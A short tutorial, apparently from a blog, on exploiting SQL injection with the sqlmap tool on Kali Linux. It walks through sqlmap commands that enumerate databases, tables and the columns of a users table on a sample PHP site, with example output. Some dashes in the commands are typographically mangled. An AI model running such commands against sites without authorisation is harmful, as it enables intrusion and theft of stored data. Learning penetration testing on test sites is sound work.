Exploit SQL Injection Using Sqlmap

SQL injection : it is an attack that exploits non-parametrized SQL queries in a database , so that the attacker can insert their own queries.

Sqlmap : This is a very powerful penetration test tool (open source) , it automates the discovery and exploitation of vulnerabilities to SQL injection attacks. It has many functions , and included features such as detecting DBMS, databases, tables , columns, retrieve data and even take control of a database.

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The following tutorial was made with a  linux system ( kali linux ).

First we need a target to do this ,

go to your test website in this example we have used a PHP one, we then navigate between pages, when you see ” php? Id ” in the address bar , copy the address.

open your terminal and type this :

sqlmap –u www.site.com/product.php?catid=5  – -dbs

when sqlmap is done, it will tell you the Mysql version and some other information about the database.

At the end of the process , it will show you databases that it has found.

to see tables that are located at the database we gonna type :

sqlmap -u www.site.com/product.php?catid=5 -D acuart –tables 

The result should be something like this :
Database: acuart

[8 tables]
+———–+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+———–+

Now we have a list of tables , we need to get columns so we gonna type :

sqlmap -u www.site.com/product.php?catid=5 -D acuart -T users –columns